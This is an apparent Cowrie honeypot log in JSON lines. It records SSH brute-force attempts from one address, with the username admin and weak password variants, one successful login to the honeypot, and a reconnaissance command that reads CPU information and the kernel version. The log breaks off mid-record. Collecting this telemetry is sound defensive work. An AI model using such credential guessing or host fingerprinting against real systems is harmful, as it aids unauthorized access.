{"eventid":"cowrie.session.closed","duration":13.313451528549194,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:53:47.277484Z","src_ip":"190.60.58.31","session":"379975d077fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46188,"dst_ip":"159.203.135.109","dst_port":22,"session":"58feae3becba","protocol":"ssh","message":"New connection: 159.203.92.129:46188 (159.203.135.109:22) [session: 58feae3becba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:54:26.513145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:54:26.517644Z","src_ip":"159.203.92.129","session":"58feae3becba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:54:26.522312Z","src_ip":"159.203.92.129","session":"58feae3becba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Abc12345","message":"login attempt [admin/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:54:26.533101Z","src_ip":"159.203.92.129","session":"58feae3becba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:54:27.541567Z","src_ip":"159.203.92.129","session":"58feae3becba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53524,"dst_ip":"159.203.135.109","dst_port":22,"session":"d657852ec020","protocol":"ssh","message":"New connection: 159.203.92.129:53524 (159.203.135.109:22) [session: d657852ec020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:55:10.718927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:55:10.724044Z","src_ip":"159.203.92.129","session":"d657852ec020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:55:10.732822Z","src_ip":"159.203.92.129","session":"d657852ec020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Abc@123","message":"login attempt [admin/Abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:55:10.747527Z","src_ip":"159.203.92.129","session":"d657852ec020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:55:11.880092Z","src_ip":"159.203.92.129","session":"d657852ec020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53306,"dst_ip":"159.203.135.109","dst_port":22,"session":"091ac9871867","protocol":"ssh","message":"New connection: 159.203.92.129:53306 (159.203.135.109:22) [session: 091ac9871867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:55:53.437873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:55:53.442622Z","src_ip":"159.203.92.129","session":"091ac9871867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:55:53.446686Z","src_ip":"159.203.92.129","session":"091ac9871867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Abc@123456","message":"login attempt [admin/Abc@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:55:53.457505Z","src_ip":"159.203.92.129","session":"091ac9871867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:55:54.464592Z","src_ip":"159.203.92.129","session":"091ac9871867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.102.241.109","src_port":55816,"dst_ip":"10.17.0.5","dst_port":23,"session":"aba60fa91554","protocol":"telnet","message":"New connection: 103.102.241.109:55816 (10.17.0.5:23) [session: aba60fa91554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:56:04.669388Z"}
{"eventid":"cowrie.session.closed","duration":30.70206308364868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:56:35.371309Z","src_ip":"103.102.241.109","session":"aba60fa91554","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50582,"dst_ip":"159.203.135.109","dst_port":22,"session":"39b1ac8d86fd","protocol":"ssh","message":"New connection: 159.203.92.129:50582 (159.203.135.109:22) [session: 39b1ac8d86fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:56:38.606643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:56:38.613136Z","src_ip":"159.203.92.129","session":"39b1ac8d86fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:56:38.617101Z","src_ip":"159.203.92.129","session":"39b1ac8d86fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Abcd1234","message":"login attempt [admin/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:56:38.627967Z","src_ip":"159.203.92.129","session":"39b1ac8d86fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:56:39.633753Z","src_ip":"159.203.92.129","session":"39b1ac8d86fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50828,"dst_ip":"159.203.135.109","dst_port":22,"session":"8045ffed52ec","protocol":"ssh","message":"New connection: 159.203.92.129:50828 (159.203.135.109:22) [session: 8045ffed52ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:57:22.682035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:57:22.686386Z","src_ip":"159.203.92.129","session":"8045ffed52ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:57:22.691091Z","src_ip":"159.203.92.129","session":"8045ffed52ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Ad123456","message":"login attempt [admin/Ad123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:57:22.702032Z","src_ip":"159.203.92.129","session":"8045ffed52ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:57:23.710259Z","src_ip":"159.203.92.129","session":"8045ffed52ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44620,"dst_ip":"159.203.135.109","dst_port":22,"session":"c89e08ac2132","protocol":"ssh","message":"New connection: 159.203.92.129:44620 (159.203.135.109:22) [session: c89e08ac2132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:06.544395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:06.549208Z","src_ip":"159.203.92.129","session":"c89e08ac2132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:06.557854Z","src_ip":"159.203.92.129","session":"c89e08ac2132","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin","message":"login attempt [admin/Admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:06.570467Z","src_ip":"159.203.92.129","session":"c89e08ac2132","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:06.629209Z","src_ip":"159.203.92.129","session":"c89e08ac2132","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:06.632668Z","src_ip":"159.203.92.129","session":"c89e08ac2132","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:06.637276Z","src_ip":"159.203.92.129","session":"c89e08ac2132","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:06.670720Z","src_ip":"159.203.92.129","session":"c89e08ac2132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:06.676342Z","src_ip":"159.203.92.129","session":"c89e08ac2132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58076,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f1f095b59eb","protocol":"ssh","message":"New connection: 159.203.92.129:58076 (159.203.135.109:22) [session: 8f1f095b59eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:51.223865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:58:51.228374Z","src_ip":"159.203.92.129","session":"8f1f095b59eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-s